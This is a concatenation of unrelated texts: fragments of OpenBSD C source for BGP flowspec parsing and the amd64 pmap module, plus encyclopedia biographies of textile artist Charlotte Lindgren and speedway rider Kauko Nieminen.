FLOWSPEC_OP_AND) return -1; vlen += FLOWSPEC_OP_LEN(op) + 1; if (len < vlen) return -1; } while ((op & FLOWSPEC_OP_EOL) == 0); break; } return vlen; } #define MINIMUM(a, b) ((a) < (b) ? (a) : (b)) /* * Compare two IPv4 flowspec prefix components. * Returns -1 if first prefix is preferred, 1 if second, 0 if equal. */ static int flowspec_cmp_prefix4(const uint8_t *abuf, int ablen, const uint8_t *bbuf, int bblen) { uint8_t a[4] = { 0 }, b[4] = { 0 }; int alen, blen, clen, cmp; alen = abuf[1]; blen = bbuf[1]; clen = MINIMUM(alen, blen); /* only extract the common prefix */ extract_prefix(abuf + 2, ablen - 2, &a, clen, sizeof(a)); extract_prefix(bbuf + 2, bblen - 2, &b, clen, sizeof(b)); /* lowest IP value has precedence */ cmp = memcmp(a, b, sizeof(a)); if (cmp < 0) return -1; if (cmp > 0) return 1; /* if common prefix, more specific route has precedence */ if (alen > blen) return -1; if (alen < blen) return 1; return 0; } /* * Compare two IPv6 flowspec prefix components. * Returns 1 if first prefix is preferred, -1 if second, 0 if equal. * As usual the encoding of IPv6 addresses is extra complex. */ static int flowspec_cmp_prefix6(const uint8_t *abuf, int ablen, const uint8_t *bbuf, int bblen) { uint8_t a[16] = { 0 }, b[16] = { 0 }; int alen, blen, clen, cmp; /* lowest offset has precedence */ if (abuf[2] < bbuf[2]) return -1; if (abuf[2] > bbuf[2]) return 1; /* calculate actual pattern size (len - offset) */ alen = abuf[1] - abuf[2]; blen = bbuf[1] - bbuf[2]; clen = MINIMUM(alen, blen); /* only extract the common prefix */ extract_prefix(abuf + 3, ablen - 3, &a, clen, sizeof(a)); extract_prefix(bbuf + 3, bblen - 3, &b, clen, sizeof(b)); /* lowest IP value has precedence */ cmp = memcmp(a, b, sizeof(a)); if (cmp < 0) return -1; if (cmp > 0) return 1; /* if common prefix, more specific route has precedence */ if (alen > blen) return -1; if (alen < blen) return 1; return 0; } /* * Check if the flowspec NLRI is syntactically valid. */ int flowspec_valid(const uint8_t *buf, int len, int is_v6) { int l, type, prev = 0; /* empty NLRI is invalid */ if (len == 0) return -1; while (len > 0) { l = flowspec_next_component(buf, len, is_v6, &type); if (l == -1) return -1; /* ensure that types are ordered */ if (prev >= type) return -1; prev = type; buf += l; len -= l; } if (len < 0) return -1; return 0; } /* * Compare two valid flowspec NLRI objects according to RFC 8955 & 8956. * Returns -1 if the first object has preference, 1 if not, and 0 if the * two objects are equal. */ int flowspec_cmp(const uint8_t *a, int alen, const uint8_t *b, int blen, int is_v6) { int atype, btype; int acomplen, bcomplen; int cmp; while (alen > 0 && blen > 0) { acomplen = flowspec_next_component(a, alen, is_v6, &atype); bcomplen = flowspec_next_component(b, blen, is_v6, &btype); /* should not happen */ if (acomplen == -1) return 1; if (bcomplen == -1) return -1; /* If types differ, lowest type wins. */ if (atype < btype) return -1; if (atype > btype) return 1; switch (atype) { case FLOWSPEC_TYPE_DEST: case FLOWSPEC_TYPE_SOURCE: if (!is_v6) { cmp = flowspec_cmp_prefix4(a, acomplen, b, bcomplen); } else { cmp = flowspec_cmp_prefix6(a, acomplen, b, bcomplen); } if (cmp != 0) return cmp; break; default: cmp = memcmp(a, b, MINIMUM(acomplen, bcomplen)); /* * Lowest common component prefix wins also * if both commponents are same length also lowest * string has precedence. */ if (cmp < 0) return -1; if (cmp > 0) return 1; /* * Longest component wins when common prefix is equal. * This is not really possible because EOL encoding will * always tie break on the memcmp but the RFC mandates * it (and it is cheap). */ if (acomplen > bcomplen) return -1; if (acomplen < bcomplen) return 1; break; } a += acomplen; alen -= acomplen; b += bcomplen; blen -= bcomplen; /* Rule with more components wins */ if (alen > 0 && blen <= 0) return -1; if (alen <= 0 && blen > 0) return 1; } return 0; } static void shift_right(uint8_t *dst, const uint8_t *src, int off, int len) { uint8_t carry = 0; int i; dst += off / 8; /* go to inital start point */ off %= 8; len = (len + 7) / 8; /* how much to copy in bytes */ for (i = 0; i < len; i++) { dst[i] = carry | src[i] >> off; if (off != 0) carry = src[i] << (8 - off); } dst[i] = carry; } /* * Extract a flowspec component and return its buffer and size. * Returns 1 on success, 0 if component is not present and -1 on error. */ int flowspec_get_component(const uint8_t *flow, int flowlen, int type, int is_v6, const uint8_t **buf, int *len) { int complen, t; *buf = NULL; *len = 0; do { complen = flowspec_next_component(flow, flowlen, is_v6, &t); if (complen == -1) return -1; if (type == t) break; if (type < t) return 0; flow += complen; flowlen -= complen; } while (1); *buf = flow + 1; *len = complen - 1; return 1; } /* * Extract source or destination address into provided bgpd_addr. * Returns 1 on success, 0 if no address was present, -1 on error. * Sets plen to the prefix len and olen to the offset for IPv6 case. * If olen is set to NULL when an IPv6 prefix with offset is fetched * the function will return -1. */ int flowspec_get_addr(const uint8_t *flow, int flowlen, int type, int is_v6, struct bgpd_addr *addr, uint8_t *plen, uint8_t *olen) { const uint8_t *comp; int complen, rv; memset(addr, 0, sizeof(*addr)); *plen = 0; if (olen != NULL) *olen = 0; rv = flowspec_get_component(flow, flowlen, type, is_v6, &comp, &complen); if (rv != 1) return rv; /* flowspec_get_component only returns valid encodings */ if (!is_v6) { addr->aid = AID_INET; if (extract_prefix(comp + 1, complen - 1, &addr->v4, comp[0], sizeof(addr->v4)) == -1) return -1; *plen = comp[0]; } else { uint8_t buf[16] = { 0 }; int xlen, xoff = 0; addr->aid = AID_INET6; xlen = comp[0]; if (comp[1] != 0) { if (olen == NULL) return -1; xoff = comp[1]; xlen -= xoff; } if (extract_prefix(comp + 2, complen - 2, buf, xlen, sizeof(buf)) == -1) return -1; shift_right(addr->v6.s6_addr, buf, xoff, xlen); *plen = comp[0]; if (olen != NULL) *olen = comp[1]; } return 1; } const char * flowspec_fmt_label(int type) { switch (type) { case FLOWSPEC_TYPE_DEST: return "to"; case FLOWSPEC_TYPE_SOURCE: return "from"; case FLOWSPEC_TYPE_PROTO: return "proto"; case FLOWSPEC_TYPE_PORT: case FLOWSPEC_TYPE_DST_PORT: case FLOWSPEC_TYPE_SRC_PORT: return "port"; case FLOWSPEC_TYPE_ICMP_TYPE: return "icmp-type"; case FLOWSPEC_TYPE_ICMP_CODE: return "icmp-code"; case FLOWSPEC_TYPE_TCP_FLAGS: return "flags"; case FLOWSPEC_TYPE_PKT_LEN: return "length"; case FLOWSPEC_TYPE_DSCP: return "tos"; case FLOWSPEC_TYPE_FRAG: return "fragment"; case FLOWSPEC_TYPE_FLOW: return "flow"; default: return "???"; } } static uint64_t extract_val(const uint8_t *comp, int len) { uint64_t val = 0; while (len-- > 0) { val <<= 8; val |= *comp++; } return val; } const char * flowspec_fmt_num_op(const uint8_t *comp, int complen, int *off) { static char buf[32]; uint64_t val, val2 = 0; uint8_t op, op2 = 0; int len, len2 = 0; if (*off == -1) return ""; if (complen < *off + 1) return "bad encoding"; op = comp[*off]; len = FLOWSPEC_OP_LEN(op) + 1; if (complen < *off + len) return "bad encoding"; val = extract_val(comp + *off + 1, FLOWSPEC_OP_LEN(op)); if ((op & FLOWSPEC_OP_EOL) == 0) { if (complen < *off + len + 1) return "bad encoding"; op2 = comp[*off + len]; /* * Check if this is a range specification else fall back * to basic rules. */ if (op2 & FLOWSPEC_OP_AND && (op & FLOWSPEC_OP_NUM_MASK) == FLOWSPEC_OP_NUM_GE && (op2 & FLOWSPEC_OP_NUM_MASK) == FLOWSPEC_OP_NUM_LE) { len2 = FLOWSPEC_OP_LEN(op2) + 1; val2 = extract_val(comp + *off + len + 1, FLOWSPEC_OP_LEN(op2)); } else op2 = 0; } if (op2 & FLOWSPEC_OP_AND) { /* binary range operation */ snprintf(buf, sizeof(buf), "%llu - %llu", (unsigned long long)val, (unsigned long long)val2); } else { /* unary operation */ switch (op & FLOWSPEC_OP_NUM_MASK) { case 0: snprintf(buf, sizeof(buf), "%sfalse", op & FLOWSPEC_OP_AND ? "&& " : ""); break; case FLOWSPEC_OP_NUM_EQ: snprintf(buf, sizeof(buf), "%s%llu", op & FLOWSPEC_OP_AND ? "&& " : "", (unsigned long long)val); break; case FLOWSPEC_OP_NUM_GT: snprintf(buf, sizeof(buf), "%s> %llu", op & FLOWSPEC_OP_AND ? "&& " : "", (unsigned long long)val); break; case FLOWSPEC_OP_NUM_GE: snprintf(buf, sizeof(buf), "%s>= %llu", op & FLOWSPEC_OP_AND ? "&& " : "", (unsigned long long)val); break; case FLOWSPEC_OP_NUM_LT: snprintf(buf, sizeof(buf), "%s< %llu", op & FLOWSPEC_OP_AND ? "&& " : "", (unsigned long long)val); break; case FLOWSPEC_OP_NUM_LE: snprintf(buf, sizeof(buf), "%s<= %llu", op & FLOWSPEC_OP_AND ? "&& " : "", (unsigned long long)val); break; case FLOWSPEC_OP_NUM_NOT: snprintf(buf, sizeof(buf), "%s!= %llu", op & FLOWSPEC_OP_AND ? "&& " : "", (unsigned long long)val); break; case 0x7: snprintf(buf, sizeof(buf), "%strue", op & FLOWSPEC_OP_AND ? "&& " : ""); break; } } if (op2 & FLOWSPEC_OP_EOL || op & FLOWSPEC_OP_EOL) *off = -1; else *off += len + len2; return buf; } static const char * fmt_flags(uint64_t val, const char *bits, char *buf, size_t blen) { int i, bi; for (i = 0, bi = 0; i < 64 && val != 0; i++) { if (val & 1) { if (bits[i] == '\0' || bits[i] == ' ') goto fail; buf[bi++] = bits[i]; } val >>= 1; } buf[bi++] = '\0'; return buf; fail: snprintf(buf, blen, "%llx", (unsigned long long)val); return buf; } const char * flowspec_fmt_bin_op(const uint8_t *comp, int complen, int *off, const char *bits) { static char buf[36], bit[17], mask[17]; uint64_t val, val2 = 0; uint8_t op, op2 = 0; int len, len2 = 0; if (*off == -1) return ""; if (complen < *off + 1) return "bad encoding"; op = comp[*off]; len = FLOWSPEC_OP_LEN(op) + 1; if (complen < *off + len) return "bad encoding"; val = extract_val(comp + *off + 1, FLOWSPEC_OP_LEN(op)); if ((op & FLOWSPEC_OP_EOL) == 0) { if (complen < *off + len + 1) return "bad encoding"; op2 = comp[*off + len]; /* * Check if this is a mask specification else fall back * to basic rules. */ if (op2 & FLOWSPEC_OP_AND && (op & FLOWSPEC_OP_BIT_MASK) == FLOWSPEC_OP_BIT_MATCH && (op2 & FLOWSPEC_OP_BIT_MASK) == FLOWSPEC_OP_BIT_NOT) { len2 = FLOWSPEC_OP_LEN(op2) + 1; val2 = extract_val(comp + *off + len + 1, FLOWSPEC_OP_LEN(op2)); } else op2 = 0; } if (op2 & FLOWSPEC_OP_AND) { val2 |= val; snprintf(buf, sizeof(buf), "%s / %s", fmt_flags(val, bits, bit, sizeof(bit)), fmt_flags(val2, bits, mask, sizeof(mask))); } else { switch (op & FLOWSPEC_OP_BIT_MASK) { case 0: snprintf(buf, sizeof(buf), "%s", fmt_flags(val, bits, bit, sizeof(bit))); break; case FLOWSPEC_OP_BIT_NOT: snprintf(buf, sizeof(buf), "/ %s", fmt_flags(val, bits, mask, sizeof(mask))); break; case FLOWSPEC_OP_BIT_MATCH: snprintf(buf, sizeof(buf), "%s / %s", fmt_flags(val, bits, bit, sizeof(bit)), fmt_flags(val, bits, mask, sizeof(mask))); break; case FLOWSPEC_OP_BIT_NOT | FLOWSPEC_OP_BIT_MATCH: snprintf(buf, sizeof(buf), "???"); break; } } if (op2 & FLOWSPEC_OP_EOL || op & FLOWSPEC_OP_EOL) *off = -1; else *off += len + len2; return buf; } ```
Charlotte Lindgren (born 1931) is a Canadian sculptor-weaver, installation artist, photographer and curator. Lindgren gained worldwide fame for innovative weaving due to the response to her distinctive installation Aedicule in the 1967 International Biennial of Tapestry in Lausanne, Switzerland. Her architectural textile works — usually large — are single woven planes that transform into three-dimensional forms. They explore the interplay between positive and negative spaces, allowing for dramatic shadows and movement. Lindgren has represented Canada abroad many times, and in 2002 was awarded the Queen Elizabeth II's Golden Jubilee Medal. She lived in Winnipeg from 1956 to 1963, then in 1964 moved to Halifax. She lives today in Nova Scotia. Career Lindgren was born in Toronto, Ontario, and received an undergraduate education and learned to weave at the University of Wisconsin, Michigan (B.Sc.) in the United States. In 1952 she married Ed Lindgren. The couple lived in Toronto; Winnipeg; Fargo, North Dakota; and Halifax, and had two children, Eric and Jennifer. By assisting and sharing ideas with her husband, an architecture student and later practitioner and professor, Lindgren complemented her science background with a knowledge of architecture, a field that would strongly influence her art. In Winnipeg to which she moved in 1956, she got a part-time job as Design instructor at the University of Manitoba (1957-1963). In 1964 she won a scholarship to the Haystack Mountain School of Crafts in Deer Isle, Maine to work with Jack Lenor Larsen. Larsen was so impressed by the originality of Lindgren's work that at the end of her time at Haystack, he lent her an 8-harness loom, and told her to go to her new home in Halifax and weave. She began to create her sculptural weaving work would take fine art weaving in a new direction, because of its three-dimensionality. In 1965, she received a Canada Council Arts Scholarship to visit weavers in Finland, Sweden and England. In 1978, Lindgren travelled to Pangnirtung, Baffin Island, as a Canada Council Visiting Artist. From 1978 to 1981 she served as Art Consultant to the Pangnirtung Tapestry Studio, where she encouraged new artists and introduced a numbered-edition system. Lindgren also served as curator for the conceptual Knot Exhibition (1997) at Halifax's Mary E. Black Gallery. It invited viewer participation, and included the living knot garden of Peter Klynstra (1944-2010).. She has taught or given guest lectures at many institutions, including the Ontario College of Art, the Nova Scotia College of Art and Design (now NSCAD University), the Banff Centre for the Arts, the University of Manitoba, the Philadelphia College of Art and, as a Fellow, at the Royal College of Art in London, England. She served on the executive of the Canadian Artists Representation (CARFAC) and as vice-president of the Royal Canadian Academy of Arts. She was a member of the Canada Council Arts Advisory Panel and juried Canada Council bursaries. The Charlotte Lindgren fonds is in Library and Archives Canada. Work Lindgren’s work differs from traditional weaving in its use of materials and the way it approaches three-dimensional form. While a standard loom has four harnesses, Lindgren used one made to her own specifications — with 16 harnesses and two back tension beams. When weaving, her process involves testing what the possibilities could be when not as restricted by the traditional loom. Along with black wool chosen for its visual clarity, she might use monkey hair, and lead wire and plastic that reflected currents in 20th century modernism. In 1965, Carol Fraser wrote about the experimentation visible in each work by Lindgren. A 1980 work, Windjammer (Robert McLaughlin Gallery, Oshawa) (linen, acrylic), took Lindgren in a new direction: it was her first work to be attached to a plastic sheet and cantilevered from the wall. Selected exhibitions In 1965, her exhibitions included solo shows in New York City, at the Confederation Centre Art Gallery in Charlottetown, PEI, and at the University of Manitoba. In 1966, she exhibited at the Montreal Museum of Fine Arts, in Charlotte Lindgren: Woven Hangings held at the Winnipeg Art Gallery and in Threads of History, an American Federation of Arts exhibition that would tour major American galleries from 1966 to 1969. In 1967, Lindgren's work Winter Tree (1965, Confederation Centre Art Gallery) (148 x 73 cm), a wire hanging composed of a complex single woven form with a tight circular base and a series of loose threads above, suggesting the branches of a tree, was featured in Expo 67's Canadian Fine Crafts exhibition. Her sculptural weavings were also displayed alongside other visual arts at the Art Gallery of Ontario's Perspectives 67 where she won a prize for her innovative approach to textiles. Also in 1967 her textile sculpture Aedicule (mohair, wool, synthetic, silk), which invited people to come in and be seated, inspired by a building - a kind of amphitheatre - she had seen in Otaniemi, Finland, designed by architect Alvar Aalto, attracted notice at the International Biennial of Tapestry in Lausanne, Switzerland. In 1980 the Art Gallery of Nova Scotia held the exhibition Charlotte Lindgren: Fibre Structures that are now part of the Gallery's Permanent Collection. In 1989, the Art Gallery, Mount Saint Vincent University (MSVU) organized Charlotte Lindgren: Winter Wraps, curated by Elizabeth Jones, a photographic study of urban and winter gardens, especially the practice of tree wrapping in Japan, Canada and England. In 1998, Ingrid Jenkner for the MSVU Gallery curated the exhibition Charlotte Lindgren: Winter Gardens, 30 of Lindgren's colour photographs resulting from a 1995-96 train journey, during which she photographed private and public gardens at each stop and in 2014, the MSVU Gallery included her work in Big in Nova Scotia. In 2022, she was included in the major travelling show Prairie Interlace, organized by Nickle Galleries in Calgary and the MacKenzie Art Gallery, Regina. Selected public collections Her work is in the collections of such galleries and institutions as the Art Gallery of Nova Scotia; Confederation Centre Art Gallery; the Robert McLaughlin Gallery; Winnipeg Art Gallery, and the Canada Council Art Bank, among other distinguished collections such as that of the Assn. Pierre Pauli, Switzerland. Commissions Among Lindgren's most notable works in the 1970s were two commissioned pieces — a metalized plastic sculpture for the Canadian Pavilion at Expo 70 in Osaka, Japan; and a cylinder (wool, steel) for the Canadian Broadcasting Company building in Montreal. The latter — one of several large black cylinders in Lindgren's oeuvre — is 30 feet long with a four-foot diameter, and can be viewed from three storeys. Awards and honours Critic’s Choice award at Visua 66, at Montreal Museum of Fine Arts, 1966; Child, a wall hanging of a young girl with golden braids, shown at the Art Gallery of Ontario, won first prize in Fine Crafts at Perspective 67, an exhibit that showcased the winners of Canada’s Centennial Year national competition, 1967; prize in Canada Crafts '67 Competition; Member, Royal Canadian Academy of Arts and served as its Vice-President (1978-1986); Fellow, at the Royal College of Art in London, England (1983); Queen Elizabeth II Golden Jubilee Medal, 2002. Community Activism In 1983, Lindgren led protests against the construction of proposed high rises around Halifax’s authentic Victorian public garden, which resulted in height limitations and setback requirements and the founding of The Friends of the Public Gardens. References 1931 births Artists from Toronto Canadian textile artists Canadian weavers Women textile artists Living people Canadian women artists 20th-century Canadian women artists Members of the Royal Canadian Academy of Arts Canadian photographers Canadian women sculptors
Kauko Tapio Nieminen (born 29 August 1979, in Seinäjoki) is a Finnish former speedway rider who raced for several teams in the UK, Sweden, and Poland, and as part of the Finland national speedway team. Career summary Nieminen started his United Kingdom career with the Workington Comets in 2002 and was with them every season until 2008 except for 2006, when he rode for the Glasgow Tigers. In 2004, he was part of the Workington four that won the Premier League Four-Team Championship, which was held on 21 August 2004, at the Derwent Park. In 2006, he represented Finland in the 2006 Speedway World Cup. Nieminen was known by both Workington and Glasgow fans as 'The Flyin Finn' because of his racing style, which produces some high speed passing. In the 2007 season, Nieminen returned to the Workington Comets, this time as captain, and also rode for Solkatterna in Sweden and TŻ Lublin in Poland. At the end of the season it was announced he would return the Comets in 2008 and he won the Premier League Pairs Championship partnering Daniel Nermark for Workington, during the 2008 Premier League speedway season, in addition to winning the Premier League Four-Team Championship, held on 26 July 2008, at Derwent Park. His good form in 2008 was noticed by the Elite League team Lakeside Hammers, and he was signed to the squad to cover for injuries. Nieminen was signed as a full team member at Lakeside for the 2009 season. He joined Leicester Lions in July 2011, becoming the team captain and finishing third in the 2011 Premier League Riders' Championship. He became national champion of Finland for the third consecutive year in September 2011, after winning the Finnish Individual Speedway Championship. In November 2012 Lakeside Hammers announced that Kauko would be awarded a Testimonial meeting in 2013, with the venue to be decided. On 25 November 2012 Kauko was named to continue as captain of Leicester again for the 2013 Premier League season, in what would be his third season with that team. He also rode for Belle Vue during the season. His final appearance in the UK was for Glasgow Tigers in 2015. References 1979 births Living people Finnish speedway riders Sportspeople from Seinäjoki Belle Vue Aces riders Glasgow Tigers riders Lakeside Hammers riders Leicester Lions riders Workington Comets riders
```c /* $OpenBSD: pmap.c,v 1.171 2024/08/08 15:57:22 dv Exp $ */ /* $NetBSD: pmap.c,v 1.3 2003/05/08 18:13:13 thorpej Exp $ */ /* * All rights reserved. * * Redistribution and use in source and binary forms, with or without * modification, are permitted provided that the following conditions * are met: * 1. Redistributions of source code must retain the above copyright * notice, this list of conditions and the following disclaimer. * 2. Redistributions in binary form must reproduce the above copyright * notice, this list of conditions and the following disclaimer in the * documentation and/or other materials provided with the distribution. * * THIS SOFTWARE IS PROVIDED BY THE AUTHOR ``AS IS'' AND ANY EXPRESS OR * IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES * OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. * IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR ANY DIRECT, INDIRECT, * INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT * NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, * DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY * THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT * (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF * THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. */ /* * All rights reserved. * * Written by Frank van der Linden for Wasabi Systems, Inc. * * Redistribution and use in source and binary forms, with or without * modification, are permitted provided that the following conditions * are met: * 1. Redistributions of source code must retain the above copyright * notice, this list of conditions and the following disclaimer. * 2. Redistributions in binary form must reproduce the above copyright * notice, this list of conditions and the following disclaimer in the * documentation and/or other materials provided with the distribution. * 3. All advertising materials mentioning features or use of this software * must display the following acknowledgement: * This product includes software developed for the NetBSD Project by * Wasabi Systems, Inc. * 4. The name of Wasabi Systems, Inc. may not be used to endorse * or promote products derived from this software without specific prior * written permission. * * THIS SOFTWARE IS PROVIDED BY WASABI SYSTEMS, INC. ``AS IS'' AND * ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED * TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR * PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL WASABI SYSTEMS, INC * BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR * CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF * SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS * INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN * CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) * ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE * POSSIBILITY OF SUCH DAMAGE. */ /* * This is the i386 pmap modified and generalized to support x86-64 * as well. The idea is to hide the upper N levels of the page tables * inside pmap_get_ptp, pmap_free_ptp and pmap_growkernel. The rest * is mostly untouched, except that it uses some more generalized * macros and interfaces. * * This pmap has been tested on the i386 as well, and it can be easily * adapted to PAE. * * fvdl@wasabisystems.com 18-Jun-2001 */ /* * pmap.c: i386 pmap module rewrite * Chuck Cranor <chuck@ccrc.wustl.edu> * 11-Aug-97 * * history of this pmap module: in addition to my own input, i used * the following references for this rewrite of the i386 pmap: * * [1] the NetBSD i386 pmap. this pmap appears to be based on the * BSD hp300 pmap done by Mike Hibler at University of Utah. * it was then ported to the i386 by William Jolitz of UUNET * Technologies, Inc. Then Charles M. Hannum of the NetBSD * project fixed some bugs and provided some speed ups. * * [2] the FreeBSD i386 pmap. this pmap seems to be the * Hibler/Jolitz pmap, as modified for FreeBSD by John S. Dyson * and David Greenman. * * [3] the Mach pmap. this pmap, from CMU, seems to have migrated * between several processors. the VAX version was done by * Avadis Tevanian, Jr., and Michael Wayne Young. the i386 * version was done by Lance Berc, Mike Kupfer, Bob Baron, * David Golub, and Richard Draves. the alpha version was * done by Alessandro Forin (CMU/Mach) and Chris Demetriou * (NetBSD/alpha). */ #include <sys/param.h> #include <sys/systm.h> #include <sys/atomic.h> #include <sys/proc.h> #include <sys/pool.h> #include <sys/user.h> #include <sys/mutex.h> #include <uvm/uvm.h> #include <machine/cpu.h> #ifdef MULTIPROCESSOR #include <machine/i82489reg.h> #include <machine/i82489var.h> #endif #include "vmm.h" #if NVMM > 0 #include <machine/vmmvar.h> #endif /* NVMM > 0 */ #include "acpi.h" /* #define PMAP_DEBUG */ #ifdef PMAP_DEBUG #define DPRINTF(x...) do { printf(x); } while(0) #else #define DPRINTF(x...) #endif /* PMAP_DEBUG */ /* * general info: * * - for an explanation of how the i386 MMU hardware works see * the comments in <machine/pte.h>. * * - for an explanation of the general memory structure used by * this pmap (including the recursive mapping), see the comments * in <machine/pmap.h>. * * this file contains the code for the "pmap module." the module's * job is to manage the hardware's virtual to physical address mappings. * note that there are two levels of mapping in the VM system: * * [1] the upper layer of the VM system uses vm_map's and vm_map_entry's * to map ranges of virtual address space to objects/files. for * example, the vm_map may say: "map VA 0x1000 to 0x22000 read-only * to the file /bin/ls starting at offset zero." note that * the upper layer mapping is not concerned with how individual * vm_pages are mapped. * * [2] the lower layer of the VM system (the pmap) maintains the mappings * from virtual addresses. it is concerned with which vm_page is * mapped where. for example, when you run /bin/ls and start * at page 0x1000 the fault routine may lookup the correct page * of the /bin/ls file and then ask the pmap layer to establish * a mapping for it. * * note that information in the lower layer of the VM system can be * thrown away since it can easily be reconstructed from the info * in the upper layer. * * data structures we use include: * - struct pmap: describes the address space of one process * - struct pv_entry: describes one <PMAP,VA> mapping of a PA * - struct pg_to_free: a list of virtual addresses whose mappings * have been changed. used for TLB flushing. */ /* * memory allocation * * - there are three data structures that we must dynamically allocate: * * [A] new process' page directory page (PDP) * - plan 1: done at pmap_create() we use * pool_get(&pmap_pmap_pool, PR_WAITOK) to do this allocation. * * if we are low in free physical memory then we sleep in * pool_get() -- in this case this is ok since we are creating * a new pmap and should not be holding any locks. * * XXX: the fork code currently has no way to return an "out of * memory, try again" error code since uvm_fork [fka vm_fork] * is a void function. * * [B] new page tables pages (PTP) * call uvm_pagealloc() * => success: zero page, add to pm_pdir * => failure: we are out of free vm_pages, let pmap_enter() * tell UVM about it. * * note: for kernel PTPs, we start with NKPTP of them. as we map * kernel memory (at uvm_map time) we check to see if we've grown * the kernel pmap. if so, we call the optional function * pmap_growkernel() to grow the kernel PTPs in advance. * * [C] pv_entry structures * - try to allocate one from the pool. * If we fail, we simply let pmap_enter() tell UVM about it. */ long nkptp[] = NKPTP_INITIALIZER; const vaddr_t ptp_masks[] = PTP_MASK_INITIALIZER; const int ptp_shifts[] = PTP_SHIFT_INITIALIZER; const long nkptpmax[] = NKPTPMAX_INITIALIZER; const long nbpd[] = NBPD_INITIALIZER; pd_entry_t *const normal_pdes[] = PDES_INITIALIZER; #define pmap_pte_set(p, n) atomic_swap_64(p, n) #define pmap_pte_clearbits(p, b) x86_atomic_clearbits_u64(p, b) #define pmap_pte_setbits(p, b) x86_atomic_setbits_u64(p, b) /* * global data structures */ struct pmap kernel_pmap_store; /* the kernel's pmap (proc0) */ /* * pg_nx: NX PTE bit (if CPU supports) * pg_g_kern: PG_G if global pages should be used in kernel mappings, * 0 otherwise (for insecure CPUs) */ pt_entry_t pg_nx = 0; pt_entry_t pg_g_kern = 0; /* pg_xo: XO PTE bits, set to PKU key1 (if cpu supports PKU) */ pt_entry_t pg_xo; /* pg_crypt, pg_frame, pg_lgframe: will be derived from CPUID */ pt_entry_t pg_crypt = 0; pt_entry_t pg_frame = PG_FRAME; pt_entry_t pg_lgframe = PG_LGFRAME; /* * pmap_pg_wc: if our processor supports PAT then we set this * to be the pte bits for Write Combining. Else we fall back to * UC- so mtrrs can override the cacheability; */ int pmap_pg_wc = PG_UCMINUS; /* * pmap_use_pcid: nonzero if PCID use is enabled (currently we require INVPCID) * * The next three are zero unless and until PCID support is enabled so code * can just 'or' them in as needed without tests. * cr3_pcid: CR3_REUSE_PCID * cr3_pcid_proc and cr3_pcid_temp: PCID_PROC and PCID_TEMP */ #if PCID_KERN != 0 # error "pmap.c assumes PCID_KERN is zero" #endif int pmap_use_pcid; static u_int cr3_pcid_proc; static u_int cr3_pcid_temp; /* these two are accessed from locore.o */ paddr_t cr3_reuse_pcid; paddr_t cr3_pcid_proc_intel; /* * other data structures */ pt_entry_t protection_codes[8]; /* maps MI prot to i386 prot code */ int pmap_initialized = 0; /* pmap_init done yet? */ /* * pv management structures. */ struct pool pmap_pv_pool; /* * linked list of all non-kernel pmaps */ struct pmap_head pmaps; struct mutex pmaps_lock = MUTEX_INITIALIZER(IPL_VM); /* * pool that pmap structures are allocated from */ struct pool pmap_pmap_pool; /* * When we're freeing a ptp, we need to delay the freeing until all * tlb shootdown has been done. This is the list of the to-be-freed pages. */ TAILQ_HEAD(pg_to_free, vm_page); /* * pool that PDPs are allocated from */ struct pool pmap_pdp_pool; void pmap_pdp_ctor(pd_entry_t *); void pmap_pdp_ctor_intel(pd_entry_t *); extern vaddr_t msgbuf_vaddr; extern paddr_t msgbuf_paddr; extern vaddr_t idt_vaddr; /* we allocate IDT early */ extern paddr_t idt_paddr; extern vaddr_t lo32_vaddr; extern vaddr_t lo32_paddr; vaddr_t virtual_avail; extern int end; /* * local prototypes */ void pmap_enter_pv(struct vm_page *, struct pv_entry *, struct pmap *, vaddr_t, struct vm_page *); struct vm_page *pmap_get_ptp(struct pmap *, vaddr_t); struct vm_page *pmap_find_ptp(struct pmap *, vaddr_t, paddr_t, int); int pmap_find_pte_direct(struct pmap *pm, vaddr_t va, pt_entry_t **pd, int *offs); void pmap_free_ptp(struct pmap *, struct vm_page *, vaddr_t, struct pg_to_free *); void pmap_freepage(struct pmap *, struct vm_page *, int, struct pg_to_free *); #ifdef MULTIPROCESSOR static int pmap_is_active(struct pmap *, struct cpu_info *); #endif paddr_t pmap_map_ptes(struct pmap *); struct pv_entry *pmap_remove_pv(struct vm_page *, struct pmap *, vaddr_t); void pmap_do_remove(struct pmap *, vaddr_t, vaddr_t, int); void pmap_remove_ept(struct pmap *, vaddr_t, vaddr_t); void pmap_do_remove_ept(struct pmap *, vaddr_t); int pmap_enter_ept(struct pmap *, vaddr_t, paddr_t, vm_prot_t); int pmap_remove_pte(struct pmap *, struct vm_page *, pt_entry_t *, vaddr_t, int, struct pv_entry **); void pmap_remove_ptes(struct pmap *, struct vm_page *, vaddr_t, vaddr_t, vaddr_t, int, struct pv_entry **); #define PMAP_REMOVE_ALL 0 /* remove all mappings */ #define PMAP_REMOVE_SKIPWIRED 1 /* skip wired mappings */ void pmap_unmap_ptes(struct pmap *, paddr_t); int pmap_get_physpage(vaddr_t, int, paddr_t *); int pmap_pdes_valid(vaddr_t, pd_entry_t *); void 